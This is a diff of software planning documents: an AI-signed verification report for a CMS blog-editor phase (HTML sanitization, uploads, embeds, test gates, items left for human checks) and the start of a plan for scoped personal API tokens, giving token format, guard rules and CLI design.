| 7 | D-13 and D-15: the SPA loads field-type assets globally after login; PluginField/MLPluginField bind `value` and `summer-change`; the schema carries plugin fields generically; OpenAPI, TS types, dist and docs are regenerated | ✓ VERIFIED | `loadFieldTypes` is called in main.ts:26 and LoginView.vue:33. `registry.ts` routes any field with `element` to PluginField or MLPluginField. PluginField only re-sets `value` when it differs (echo guard). admin.json and schema.d.ts carry `element`, `translatable` and `typeOptions`. Gate docs stage: check-admin-openapi, check-admin-dist and TestDocsTree pass. Vitest 1218/1218 |
|
||||
| 8 | D-18: cabana-owned upload route (guard, X-Requested-With, permissions, declared op, record scope, body cap) answers 201 {data:{url}}; Journal Upload accepts only sniffed jpg/jpeg/png/gif/webp up to 10240 KiB | ✓ VERIFIED | Route at http.go:360, wrapped in `requireAjax`. `fieldUpload` calls `protect` and `operationDeclared` (WR-01), reads the whole body before Upload (WR-02) and scopes the record through `loadRecord`. Journal `uploadBlogImage` sniffs the bytes. `StoreMedia` enforces the extension allowlist, so a PNG named `.svg` is refused there, and caps the size. `TestFieldUpload`, `TestBlogEditorUpload` and `TestStoreMedia` pass. UAT edit-ok shows an image under journal/posts |
|
||||
| 9 | D-01, D-04, D-16: Blog Editor is a TipTap WYSIWYG custom element `golem15-journal-blogeditor` with a source tab, a toolbar (headings, marks, lists, links, blockquote, tables, images, embeds, raw HTML), unknown blocks shown as raw cards, and a committed and embedded bundle with a dist drift gate | ✓ VERIFIED | assets/src/blogeditor/*.ts and toolbar.ts provide H2-H4, bold, italic, lists, link, blockquote, table ops, image, embed and rawHtml. extensions.ts lists the raw block tags (footer, section, aside, details…). admin.go:22 embeds the dist. `check-dist.sh` (diff -r) passes in the gate. Editor vitest 232/232 |
|
||||
| 10 | D-03 (editor and Journal halves) and todo journal-imported-html-admin-resave: an untouched value round-trips byte-identically; Load serves HTML content verbatim and markdown as content_html; an untouched save leaves content and content_html byte-identical | ✓ VERIFIED | The element's `value` getter returns the stored string in clean mode and uses `serializeDocument` (top-level block reuse) only after an edit. It never calls `getHTML`. `loadBlogHTML` implements D-07 plus the CR-01 and WR-04 refinements. element.test.ts, `TestBlogEditorLoad` and `TestFieldTypeUntouched` pass. UAT: post 1 (HTML) and post 64 (markdown) kept the same md5 after untouched saves, and updated_at moved (16.2-05 SUMMARY, follow-up section). The Postgres `TestPostsAdminResaveKeepsHTML` did not run (human item 1) |
|
||||
| 11 | D-02, D-07, D-08, D-09: post content is `mlblogeditor` (excerpt unchanged); an admin save stores the same sanitized HTML in content and content_html per locale without goldmark; the public write API keeps markdown and FormatHTML | ✓ VERIFIED | models/post/fields.yaml: `type: mlblogeditor`, `htmlColumn: content_html`. `preparePostWrite` copies the default-locale write into `ContentHTML`. `writeContentHTMLTranslations` writes non-default locales through `WriteTranslated`. The only remaining FormatHTML callers are the API helpers, the import console and Load's markdown fallback. No migration or column was added. `TestPostsEditorHooks` passes. UAT edit-ok: content = content_html |
|
||||
| 12 | D-10 (amended) and D-05: Decode stores `SanitizeHTMLReport` output and reports removals as notices, never refusing on markup; the policy gains exactly four editor-output rules; every corpus entry passes byte for byte | ✓ VERIFIED | `decodeBlogHTML` and `removalNotices` are in blog_editor.go. Commit 2384a61 adds only `figure data-embed ^youtube$`, `figure data-id ^[A-Za-z0-9_-]{11}$`, `img alt` and `ol start ^[0-9]+$`. `TestEditorOutputPassesPolicy`, `TestSanitizeHTMLReport`, `TestBlogEditorDecode` and `TestBlogEditorNotices` pass. On UAT a style element and an onclick attribute were stripped and the notice was confirmed by the human |
|
||||
| 13 | D-17 and D-05 (layer): `expandEmbeds(sanitizeJournalHtml(html))` at the PostBody and CategoryHeader sinks, with payload transforms only sanitizing; htmlGate mirrors the four rules; corpus copies identical; v0.2.0 tagged and pinned | ✓ VERIFIED | PostBody.vue:13 and CategoryHeader.vue:11 expand last. postView.ts and CategoryPage.vue only sanitize. `expandEmbeds` builds the iframe only from an allowlisted provider, a validated id and a fixed host. `cmp` of the two corpus files is identical. Tag v0.2.0 exists on origin (759e684). The app's package.json pins `#v0.2.0`. Layer 144/144. UAT site-ok found 1 youtube-nocookie iframe |
|
||||
| 14 | D-19 (amended): category content uses blogeditor and is stripped and reported; the 422 CheckHTML gate is retired | ⚠️ PRESENT_BEHAVIOR_UNVERIFIED | models/category/fields.yaml has `type: blogeditor`. `prepareCategoryWrite` only nulls blank content, and no CheckHTML caller remains. The end-to-end category save is covered only by the Docker-only `TestCategoriesAdminContent` and `TestCategoriesAdminBlogEditor` (not run), and the UAT category step was never done |
|
||||
|
||||
**Score:** 13/14 truths verified (1 present, behavior-unverified)
|
||||
|
||||
Release truths from plan 05 are verified separately. Tag v0.1.18 is an annotated tag object 04dc5bd on origin, pointing at commit f1d8a75. The UAT binary sha256 matched the local build, and the on-server smoke passed on 98 URLs. These rest on SUMMARY records; the tag is confirmed directly with `git ls-remote`.
|
||||
|
||||
### Required Artifacts
|
||||
|
||||
| Artifact | Expected | Status | Details |
|
||||
|----------|----------|--------|---------|
|
||||
| `modules/pact/capabilities.go` | FormFieldType family and HasFormFieldTypes | ✓ VERIFIED | All types are present, with Decode, Load, ListValue, Upload and CheckOptions |
|
||||
| `modules/cabana/field_type.go` | registry, compile and the decode/skip/load/list runner | ✓ VERIFIED | 877 lines, substantive, wired from http.go and crud.go |
|
||||
| `modules/cabana/field_type_upload.go` | upload route | ✓ VERIFIED | Mounted at http.go:360 |
|
||||
| `modules/cabana/tx_context.go` | FieldWritesFromContext | ✓ VERIFIED | Consumed by Journal posts.go |
|
||||
| `modules/cabana/relation_field.go` | `notices,omitempty` | ✓ VERIFIED | relation_field.go:99 |
|
||||
| `admin/src/components/form/fields/PluginField.vue` | element host | ✓ VERIFIED | Handles summer-change and summer-upload; passes no token or function to the element |
|
||||
| `admin/src/app/fieldTypes.ts` | global loader | ✓ VERIFIED | Wired in main.ts and LoginView.vue |
|
||||
| `docs/backend/field-types.md` | guide | ✓ VERIFIED | Names HasFormFieldTypes; no consuming application is named |
|
||||
| `../sm-journal-plugin/classes/blog_editor.go` | BlogEditorTypes | ✓ VERIFIED | Registered through field_types.go |
|
||||
| `../sm-journal-plugin/classes/format_html.go` | SanitizeHTMLReport and the four rules | ✓ VERIFIED | |
|
||||
| `../sm-journal-plugin/classes/media_store.go` | StoreMedia | ✓ VERIFIED | Shared with controllers/api/media.go:39 |
|
||||
| `../sm-journal-plugin/assets/dist/blogeditor.js` | committed bundle | ✓ VERIFIED | Embedded at admin.go:22; check-dist passes |
|
||||
| `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` | corpus | ✓ VERIFIED | Byte-identical to the layer copy |
|
||||
| `../vue-journal-layer/app/utils/embeds.ts` | expandEmbeds | ✓ VERIFIED | |
|
||||
| `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` | `#v0.2.0` pin | ✓ VERIFIED | |
|
||||
| `modules/cabana/field_type_postgres_test.go` | Postgres test | ✓ EXISTS (not run) | Compiles under go vet; needs Docker |
|
||||
| `scripts/check-phase16.2.sh` | phase gate | ✓ VERIFIED | Re-run in this verification, exit 0 |
|
||||
|
||||
### Key Link Verification
|
||||
|
||||
| From | To | Via | Status |
|
||||
|------|----|-----|--------|
|
||||
| http.go Activate | compileRegistryWithTypes | `compileFieldTypes(plugins)` passed as a parameter | ✓ WIRED |
|
||||
| crud.go save | Decode and Load | `decodePluginFields` between loadRecord and Fill, in the transaction | ✓ WIRED |
|
||||
| crud.go save | meta.notices | `localizeNotices` after commit | ✓ WIRED |
|
||||
| FormView.vue save | FormField notices and toast | `noticeLines(result.data.meta.notices)` | ✓ WIRED |
|
||||
| main.ts / LoginView.vue | GET /field-types | `loadFieldTypes` | ✓ WIRED |
|
||||
| PluginField.vue | upload route | `summer-upload` handled by `api.POST` | ✓ WIRED |
|
||||
| blog_editor.go decodeBlogHTML | SanitizeHTMLReport | direct call | ✓ WIRED |
|
||||
| posts.go preparePostWrite | FieldWritesFromContext | default-locale write sets ContentHTML | ✓ WIRED |
|
||||
| posts.go FormAfterUpdate | TranslationWriter.WriteTranslated | content_html per written locale | ✓ WIRED |
|
||||
| api/media.go UploadMedia | StoreMedia | media.go:39 | ✓ WIRED |
|
||||
| PostBody.vue / CategoryHeader.vue | expandEmbeds | `expandEmbeds(sanitizeJournalHtml(...))` | ✓ WIRED |
|
||||
| admin.go adminFS | assets/dist/blogeditor.js | `//go:embed` | ✓ WIRED |
|
||||
|
||||
### Data-Flow Trace (Level 4)
|
||||
|
||||
| Artifact | Data | Source | Real data | Status |
|
||||
|----------|------|--------|-----------|--------|
|
||||
| PluginField element `value` | form value | Show response from `hydratePluginFields`, which runs Load over the record loaded in the transaction | yes | ✓ FLOWING |
|
||||
| content_html (admin path) | sanitized HTML | Decode output, then FieldWrite, then the hooks | yes (UAT edit-ok shows content = content_html) | ✓ FLOWING |
|
||||
| Site post body | content_html | Journal API, then postView sanitize, then the PostBody sink expandEmbeds | yes (UAT site-ok found the iframe) | ✓ FLOWING |
|
||||
|
||||
### Behavioral Spot-Checks
|
||||
|
||||
| Behavior | Command | Result | Status |
|
||||
|----------|---------|--------|--------|
|
||||
| Full phase gate | `bash scripts/check-phase16.2.sh --all` (TMPDIR in the scratchpad) | self-test, go (19 framework + 29 Journal tests), admin 1218, editor 232, layer 144 plus corpus cmp, and docs all PASS; postgres NOT RUN; "Phase 16.2 gate passed", exit 0 | ✓ PASS |
|
||||
| go vet | `go vet ./...` in summercms.go and sm-journal-plugin | clean | ✓ PASS |
|
||||
| Release tag on origin | `git ls-remote --tags origin v0.1.18` | 04dc5bd, which points at f1d8a75 | ✓ PASS |
|
||||
| Layer tag on origin | `git ls-remote --tags origin` (vue-journal-layer) | v0.2.0, which points at 759e684 | ✓ PASS |
|
||||
| Postgres suites | `check-phase16.2.sh postgres` | no Docker daemon | ? SKIP (human item 1) |
|
||||
|
||||
### Probe Execution
|
||||
|
||||
Step 7c: no `scripts/*/tests/probe-*.sh` is declared or present for this phase. The phase gate above serves as the runnable check.
|
||||
|
||||
### Requirements Coverage
|
||||
|
||||
REQUIREMENTS.md lists no IDs for this phase. The CONTEXT decisions the plans cite:
|
||||
|
||||
| Decision | Status | Evidence |
|
||||
|----------|--------|----------|
|
||||
| D-01, D-04, D-16 | ✓ SATISFIED | Truth 9 |
|
||||
| D-02, D-07, D-08, D-09 | ✓ SATISFIED | Truth 11 |
|
||||
| D-03 | ✓ SATISFIED | Truths 5 and 10 (unit tests plus UAT; Postgres run pending) |
|
||||
| D-05, D-10 | ✓ SATISFIED | Truths 3, 12 and 13 |
|
||||
| D-06, D-14 | ✓ SATISFIED | Truth 6 |
|
||||
| D-11, D-12, D-13, D-15 | ✓ SATISFIED | Truths 1 to 4 and 7 |
|
||||
| D-17 | ✓ SATISFIED | Truth 13 |
|
||||
| D-18 | ✓ SATISFIED | Truth 8 |
|
||||
| D-19 | ? NEEDS HUMAN | Truth 14 |
|
||||
|
||||
### Prohibitions (judgment tier, non-authoritative LLM verdicts)
|
||||
|
||||
| Prohibition | Verdict |
|
||||
|-------------|---------|
|
||||
| No package-level mutable field type registry in cabana | Holds. The only package-level vars are regexes and a static key set. The registry is built per Activate |
|
||||
| The element never receives a token, cookie, function or Vue instance | Holds. PluginField sets only `value` and string attributes; uploads go through `api.POST` |
|
||||
| Core field types, the `type: widget` contract and CompileForm unchanged | Holds as far as the gate shows. TestPhase10CSRF, TestPhase09ContractInventory and ExampleCompileFormWithTypes pass, and settings and relation forms use a refusing registry |
|
||||
| Framework docs name no consuming application | Holds. grep for journal, grzyb, fonoteka and blogeditor in field-types.md, forms.md and the two READMEs finds nothing |
|
||||
| The editor never re-serializes an untouched document or uses getHTML() | Holds. The clean-mode getter returns the stored string |
|
||||
| No eval, no `new Function`, no style injection | Holds. `injectCSS: false`, and no eval in the sources |
|
||||
| The element renders no iframe and no live raw HTML in the admin | **Flagged for human review.** The preview pane folded in from quick 261010-iwu adds a lazily created iframe with an empty `sandbox`, `srcdoc` only and a CSP meta. Raw blocks in the editor itself still render as escaped text |
|
||||
| htmlPolicy gains only the four editor rules; the layer mirrors the same four | Holds. Diff 2384a61 and htmlGate.ts:122-127 |
|
||||
| Public write API and media route keep the PHP contract | Holds. Posts still go through FormatHTML in the API helpers, and media.go keeps its error mapping through MediaError |
|
||||
| No format flag, column or migration | Holds. No migration commit in updates/ during the phase |
|
||||
| Executor ran only SELECTs on UAT; no credentials handled; no tag moved | Taken from the SUMMARY; the tags are unmoved on origin |
|
||||
| Tests not weakened | Taken from the SUMMARY: the 16.1 policy test files are unchanged since c60abc6 |
|
||||
|
||||
### Anti-Patterns Found
|
||||
|
||||
| File | Line | Pattern | Severity | Impact |
|
||||
|------|------|---------|----------|--------|
|
||||
| (none) | | No TBD, FIXME, XXX, TODO or HACK marker in the phase's source files | | |
|
||||
|
||||
Known open review items, skipped by decision (16.2-REVIEW-FIX.md):
|
||||
- WR-07: View site uses the admin origin.
|
||||
- WR-08: the gate passes with postgres NOT RUN; `PHASE162_REQUIRE_POSTGRES=1` enforces it.
|
||||
- IN-01 to IN-03 and IN-05 to IN-08.
|
||||
|
||||
These are information only and do not block.
|
||||
|
||||
### Human Verification Required
|
||||
|
||||
#### 1. Postgres suites on a Docker host
|
||||
|
||||
**Test:** `bash scripts/check-phase16.2.sh postgres`
|
||||
**Expected:** Every named suite passes. This covers WINDOWS 11, 12, 14 to 16, 20 and 21.
|
||||
**Why human:** No Docker on this host. These suites are the only end-to-end proof of the CR-01 and WR-04 Load changes and of the category strip.
|
||||
|
||||
#### 2. D-19 category edit on UAT
|
||||
|
||||
**Test:** Change one word of a category's content in the Blog Editor and save.
|
||||
**Expected:** No removal notice; the site shows the change.
|
||||
**Why human:** WINDOWS 18; never performed.
|
||||
|
||||
#### 3. Re-confirm the untouched resave after the review-fix deploy
|
||||
|
||||
**Test:** After v0.1.19 is deployed, save posts 1 and 64 untouched and re-run the md5 SELECT.
|
||||
**Expected:** The md5 values equal the 16.2-05 snapshot.
|
||||
**Why human:** The UAT proof ran on v0.1.18, before the CR-01 and WR-04 Load changes. The code reading says the outcome is unchanged for these posts.
|
||||
|
||||
#### 4. Preview pane browser check
|
||||
|
||||
**Test:** Check the layout, the sandbox (script in a raw block), the embed card and relative images.
|
||||
**Expected:** As listed in the 261010-iwu SUMMARY.
|
||||
**Why human:** Real browser behaviour.
|
||||
|
||||
#### 5. Accept the preview iframe against the plan 02 prohibition
|
||||
|
||||
**Test:** Decide whether the sandboxed srcdoc preview is an accepted exception to "no iframe in the admin".
|
||||
**Expected:** Accept, or ask for a change.
|
||||
**Why human:** Judgment-tier prohibition.
|
||||
|
||||
### Gaps Summary
|
||||
|
||||
No must-have failed. The framework API (pact.HasFormFieldTypes, the cabana registry, the decode/skip/load/list runner, meta.notices, the upload route), the SPA host, the Journal Blog Editor (element, Go types, policy, hooks, storage) and the layer's embed expansion all exist, are substantive and are wired. The fixed tree passes the phase gate here, and vet is clean in both Go repositories. On UAT (v0.1.18) the goal was proven on real data:
|
||||
- An imported HTML post and a markdown post re-saved untouched with identical md5.
|
||||
- An edited post stored identical content and content_html, with an uploaded figure and a YouTube placeholder.
|
||||
- Disallowed markup was stripped and reported.
|
||||
- The site rendered a youtube-nocookie iframe.
|
||||
|
||||
Status is `human_needed`, not `passed`, for three reasons:
|
||||
- The Docker-only Postgres suites have never run.
|
||||
- The D-19 category path has no executed end-to-end evidence: no Postgres run and no UAT step.
|
||||
- The review fixes (CR-01, WR-01 to WR-06, IN-04) are committed but not deployed or tagged, so the UAT evidence predates them. summercms.go master is 13 commits ahead of origin, and the sm-journal-plugin test and fix commits are not pushed either.
|
||||
|
||||
---
|
||||
|
||||
_Verified: 2026-10-10T17:05:00Z_
|
||||
_Verifier: Claude (msd-verifier)_
|
||||
|
||||
## Re-verification (2026-10-10, after 16.2-07)
|
||||
|
||||
Gap closure plan 16.2-07 closed G-16.2-1 (conformance cases for GET /field-types and the field upload route; a Docker-free route inventory check in the gate) and G-16.2-2 (Journal admin writes purge the host Nuxt route cache). It was released as summercms v0.1.20 and vue-journal-layer v0.3.0 and deployed to UAT.
|
||||
|
||||
All five human verification items above are resolved by evidence, recorded in `human_verification_resolved` and in 16.2-UAT.md (status complete, 5/5 pass):
|
||||
|
||||
| Item | Evidence |
|
||||
|------|----------|
|
||||
| Postgres suites (truth 10 Postgres half, truth 14) | gate2.log at ee62410: `phase16.2 postgres passed`, `Phase 16.2 gate passed` |
|
||||
| D-19 category save and site visibility (truth 14) | 16.2-07 Task 6: category-purged, category-fresh, phrase found on the server-rendered page |
|
||||
| Untouched re-save on the build with CR-01/WR-04 (truth 10) | 16.2-07 Task 6: posts-unchanged, translations-unchanged |
|
||||
| Preview pane in a browser | UAT Test 4 pass |
|
||||
| Preview iframe exception | UAT Test 5 pass, accepted by the human |
|
||||
|
||||
Checks at this re-verification: `go vet ./modules/cabana/ ./modules/pact/` clean; `go test ./modules/pact/` and `TestPhase10ConformanceInventory` pass; no change outside `.planning/` since aba063f. `covered_files` now includes 16.2-07-PLAN.md, 16.2-07-SUMMARY.md and modules/cabana/openapi_conformance_test.go, and `covered_digest` was recomputed with `msd_run query verification.fingerprint`.
|
||||
|
||||
Truth 14 (D-19) moves from NEEDS HUMAN to VERIFIED; the score is 14/14 and the status is `passed`.
|
||||
|
||||
This report was re-verified by hand, as Phase 9's was, because msd-core 1.14.0 makes a report stale after any gap-closure plan and its verifier ignores passed UAT results. Re-running execute-phase would have reset 16.2-UAT.md to pending.
|
||||
@@ -0,0 +1 @@
|
||||
No external API integration: internal pact field-type API, admin routes and a Journal editor; YouTube is only a fixed iframe host for stored placeholders, with no API calls.
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,498 @@
|
||||
---
|
||||
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
|
||||
plan: 01
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- modules/pact/capabilities.go
|
||||
- modules/pact/README.md
|
||||
- modules/bouncer/context.go
|
||||
- modules/bouncer/README.md
|
||||
- modules/party/registry.go
|
||||
- modules/party/registry_test.go
|
||||
- modules/party/README.md
|
||||
- modules/lagoon/backend_admin_migrations.go
|
||||
- modules/lagoon/backend_admin_migrations_test.go
|
||||
- modules/lagoon/README.md
|
||||
- modules/cabana/api_tokens.go
|
||||
- modules/cabana/token_scopes.go
|
||||
- modules/cabana/token_guard.go
|
||||
- modules/cabana/account_tokens.go
|
||||
- modules/cabana/token_commands.go
|
||||
- modules/cabana/contracts.go
|
||||
- modules/cabana/registry.go
|
||||
- modules/cabana/messages.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/auth.go
|
||||
- modules/cabana/field_type.go
|
||||
- modules/cabana/field_markdown.go
|
||||
- modules/cabana/commands.go
|
||||
- modules/cabana/admin_openapi.go
|
||||
- modules/cabana/export_test.go
|
||||
- modules/cabana/security_coverage_test.go
|
||||
- modules/cabana/openapi_conformance_test.go
|
||||
- modules/cabana/token_smoke_test.go
|
||||
- modules/cabana/token_postgres_smoke_test.go
|
||||
- modules/cabana/README.md
|
||||
- modules/phrasebook/backend/lang/en/lang.yaml
|
||||
- modules/phrasebook/backend/lang/pl/lang.yaml
|
||||
- admin/openapi/admin.json
|
||||
- admin/src/api/schema.d.ts
|
||||
- cmd/summer/runtime.go
|
||||
- cmd/summer/runtime_test.go
|
||||
- docs/examples/blog/token_scopes.go
|
||||
- docs/examples/blog/lang/en/lang.yaml
|
||||
- docs/backend/users-and-permissions.md
|
||||
- docs/services/authentication.md
|
||||
- docs/console/setup-and-maintenance.md
|
||||
- docs/console/introduction.md
|
||||
- docs/plugins/registration.md
|
||||
autonomous: true
|
||||
requirements: [SC-1, SC-2, SC-3, SC-5]
|
||||
estimate:
|
||||
tokens: 170000
|
||||
raw_tokens: 170000
|
||||
tasks: 4
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-07 and D-12: a token is g15_ plus 40 lowercase hex characters from 20 crypto/rand bytes; only its sha256 hex (unique column) and its last four characters are stored, in backend_api_tokens, created by migration 202610110001_backend_api_tokens appended to lagoon.BackendAdminMigrations under the summercms.cabana history (backend_user_id FK ON DELETE CASCADE, revoked_by FK ON DELETE SET NULL); TestBackendAdminMetadataColumn is updated in the same commit; Apparatus rows are not migrated."
|
||||
- "D-13 and SC-1: the cabana backend guard is composite: Authorization Bearer g15_… goes to the token lookup, every other request goes to the unchanged NewBackendJWTGuard path (Bearer JWT, then the admin cookie); a g15_ value is never read from a cookie or the query string and is never handed to the JWT parser; on success the request runs as the token's owner and the *cabana.BackendAPIToken row is the bouncer credential."
|
||||
- "D-08, D-09 and D-10: a malformed, unknown, expired or revoked token, or one whose owner is deactivated or soft-deleted, answers the existing 401 unauthenticated envelope; the owner is loaded fresh per request through lazyBackendUsers (role, code-declared and user grants), and neither a password reset nor tokens_valid_after invalidates a token."
|
||||
- "D-02, D-03 and D-04: only stored scopes whose method list includes the request method count; when a known scope exists but none allows the method the guard answers 403 forbidden with details.reason token_scope before any handler runs; a token whose stored scopes are all unknown answers 401; `*` behaves as the owner on every method and `admin:read` as the owner on GET and HEAD."
|
||||
- "D-14, D-03 and D-05: cabana.Allows evaluates the scope before the superuser and empty-list shortcuts; a scoped (non-full) principal passes only when one method-allowed scope matches every required code and the owner holds a required code inside that scope; a superuser with a scoped token is limited to the scope; an empty requirement list is refused unless the scope is full; JWT principals keep today's behaviour exactly."
|
||||
- "D-01: plugins register scopes through pact.HasTokenScopes returning pact.TokenScope{Name, Label, Description, Permissions, Methods}; boot fails loudly on a duplicate name (naming both plugins), a reserved name (`*`, admin, admin:…), an invalid name, empty permissions or methods, an unknown or lower-case method, a method list without GET, an unknown permission pattern, an empty label or description, or a label or description phrase key that does not resolve."
|
||||
- "D-05 and D-06: GET /auth/me answers any valid token; PUT /account, POST and DELETE /account/avatar, the four /account/tokens routes, POST /auth/refresh and POST /auth/logout refuse every token, `*` included, with 403 forbidden details.reason interactive_only; GET /field-types and POST /markdown/preview are gated like Allows with an empty list (only `*`, and `admin:read` on GET, pass) with details.reason token_scope."
|
||||
- "D-15 (framework half): cabana.ResolveBackend authenticates a request outside the backend middleware from the Authorization Bearer header only (admin JWT or g15_ token, never the admin cookie), applies the method filter and, for a token, requires a method-allowed scope that is full or matches every cover code; it returns cabana.ErrUnauthenticated or cabana.ErrTokenScope and uses the same lazyBackendUsers and compiled registry as the admin guard (code-declared role grants included); cabana.Activate publishes the resolver."
|
||||
- "D-11: last_used_at is stamped at most once per minute per token (in-process gate plus a conditional UPDATE of last_used_at only); a failed stamp is logged and never fails authentication."
|
||||
- "D-16, D-17 and D-18 (server half): GET /account/tokens lists the caller's own tokens newest first (revoked ones only with revoked=1), POST /account/tokens answers 201 with the plaintext exactly once and 422 validation_failed on name, expires or scopes (unknown, empty, or granting the caller nothing), normalizes a list containing `*` to [`*`], DELETE /account/tokens/{id} soft-revokes only the caller's own active token (404 otherwise), and GET /account/tokens/scopes lists `*`, admin:read and plugin scopes that overlap the caller's grants, with server-translated labels; all four carry swag annotations, appear in admin/openapi/admin.json and admin/src/api/schema.d.ts, and are in phase09Routes and conformCases."
|
||||
- "D-19: admin:token:create <login|email> --name --scope (repeatable) [--expires] prints exactly the token and a newline on stdout, applies the D-17 overlap rule to the target user and refuses deactivated or deleted users; admin:token:list [<login|email>] [--revoked], admin:token:revoke <id> and admin:token:scopes work; party.Activate publishes party.Activated so the commands see plugin scopes while cabana.RuntimeCommands(app) keeps its signature; summer forwards the four commands to the app binary."
|
||||
- "D-20 (framework half): the pact, bouncer, cabana, party and lagoon READMEs and docs/backend/users-and-permissions.md, docs/services/authentication.md, docs/console/setup-and-maintenance.md, docs/console/introduction.md and docs/plugins/registration.md describe the token API, scope registration, the framework scopes, interactive-only routes, ResolveBackend and the CLI with neutral names; TestDocsTree and summer docs:build --check pass."
|
||||
artifacts:
|
||||
- path: "modules/pact/capabilities.go"
|
||||
provides: "TokenScope and HasTokenScopes"
|
||||
contains: "HasTokenScopes"
|
||||
- path: "modules/bouncer/context.go"
|
||||
provides: "ScopeLimit and Principal.Scope"
|
||||
contains: "ScopeLimit"
|
||||
- path: "modules/lagoon/backend_admin_migrations.go"
|
||||
provides: "backend_api_tokens migration"
|
||||
contains: "202610110001_backend_api_tokens"
|
||||
- path: "modules/cabana/api_tokens.go"
|
||||
provides: "BackendAPIToken model, APITokenPrefix, mint, hash, issue, revoke, debounced stamp"
|
||||
contains: "APITokenPrefix"
|
||||
- path: "modules/cabana/token_scopes.go"
|
||||
provides: "scope compile, framework scopes, scopeMatch, allowsUnderScope, overlap rule"
|
||||
contains: "allowsUnderScope"
|
||||
- path: "modules/cabana/token_guard.go"
|
||||
provides: "composite backend guard, interactiveOnly, ResolveBackend, ErrUnauthenticated, ErrTokenScope"
|
||||
contains: "func ResolveBackend"
|
||||
- path: "modules/cabana/account_tokens.go"
|
||||
provides: "the four account token handlers"
|
||||
contains: "accountTokenCreate"
|
||||
- path: "modules/cabana/token_commands.go"
|
||||
provides: "admin:token:create, list, revoke, scopes"
|
||||
contains: "admin:token:create"
|
||||
- path: "modules/party/registry.go"
|
||||
provides: "party.Activated published by Activate"
|
||||
contains: "Activated"
|
||||
- path: "docs/backend/users-and-permissions.md"
|
||||
provides: "API tokens guide"
|
||||
contains: "HasTokenScopes"
|
||||
key_links:
|
||||
- from: "modules/cabana/http.go Activate"
|
||||
to: "modules/cabana/token_guard.go composite guard"
|
||||
via: "guards.Register(\"summercms.cabana\", \"backend\", newCompositeGuard(...)) wrapping the unchanged NewBackendJWTGuard"
|
||||
pattern: "newCompositeGuard"
|
||||
- from: "modules/cabana/token_guard.go"
|
||||
to: "bouncer.Principal.Scope"
|
||||
via: "method-filtered scope limit set on the principal FindByID returned"
|
||||
pattern: "ScopeLimit"
|
||||
- from: "modules/cabana/contracts.go Allows"
|
||||
to: "modules/cabana/token_scopes.go allowsUnderScope"
|
||||
via: "scope branch evaluated before the IsSuperuser and empty-list shortcuts"
|
||||
pattern: "allowsUnderScope"
|
||||
- from: "modules/cabana/http.go Activate"
|
||||
to: "backpack.App service registry"
|
||||
via: "app.Publish of the backendResolver read by ResolveBackend per request"
|
||||
pattern: "backendResolver"
|
||||
- from: "modules/cabana/token_commands.go"
|
||||
to: "modules/party/registry.go Activated"
|
||||
via: "app.Lookup[party.Activated]() at Run time, compiled by compileTokenCatalog"
|
||||
pattern: "party.Activated"
|
||||
- from: "modules/cabana/account_tokens.go and token_commands.go"
|
||||
to: "modules/cabana/api_tokens.go issueAPIToken"
|
||||
via: "one validation and insert path (name, expiry, scopes, overlap) for the API and the CLI"
|
||||
pattern: "issueAPIToken"
|
||||
prohibitions:
|
||||
- statement: "The plaintext token is never persisted, logged, put in an error detail or returned after the create response; logs carry token_id and admin_id only, never the Authorization value or the hash."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "A g15_ token is never accepted from a cookie or a query string, and ResolveBackend never reads the admin cookie."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "A token never grants more than its owner: no scope branch skips the owner check, and a superuser token is limited by its scope."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The JWT verification path (audience, blacklist, tokens_valid_after, cookie fallback) is unchanged."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No new Go or npm dependency; crypto is stdlib only (crypto/rand, crypto/sha256, crypto/subtle)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Framework READMEs and docs never name a consuming application; examples use acme and blog."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): backend users create personal API tokens with scopes picked at creation time, so an agent or integration calls the admin and plugin APIs as that backend user with no more access than the token's scope and the user's own permissions allow. Successor of Apparatus PersonalApiToken; reverses Phase 15 D-15.
|
||||
|
||||
This plan's slice (user checkpoint, plan 1 of 4): the whole framework side in summercms.go: the scope capability, the principal scope limit, the `Allows` rewrite, the token table, the composite `backend` guard, the interactive-only marker, the explicit route gates, the published resolver, the account token API with OpenAPI and inventories, the `admin:token:*` CLI with the `summer` delegates, and the module READMEs and docs pages for every API this plan adds (CLAUDE.md: same change).
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". No SPEC.md exists. CONTEXT D-01 to D-20, the six ROADMAP success criteria and RESEARCH Patterns 1-7 / Pitfalls 1-12 are the source of truth. Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Decisions taken in this plan
|
||||
|
||||
Locked-decision readings and Claude's-discretion choices, so executors do not re-decide them:
|
||||
|
||||
- **D-03 read literally (honoring the locked text; RESEARCH A2 suggested a per-code union).** A scoped request passes when one method-allowed scope matches every required code and the owner holds a required code inside that scope. For single-code checks (almost every call site) the two readings agree; for a multi-code list the literal reading is stricter. `bouncer.ScopeLimit` therefore keeps one pattern slice per scope, not a union.
|
||||
- **Scope match table** (`scopeMatch(pattern, required)`, written fresh; `granted()` is not reused for the scope side, RESEARCH Pattern 2):
|
||||
|
||||
| required | pattern | result |
|
||||
|---|---|---|
|
||||
| exact `a.b.c` | `a.b.c`, `a.b.*`, `a.*` | full |
|
||||
| exact `a.b.c` | `a.x.*`, `a.b.d` | none |
|
||||
| wildcard `a.b.*` | `a.b.*`, `a.*` (at least as broad) | full |
|
||||
| wildcard `a.*` | `a.b.*` or exact `a.b.c` (narrower) | partial via the pattern |
|
||||
| wildcard `a.b.*` | `a.x.*`, `x.*` | none |
|
||||
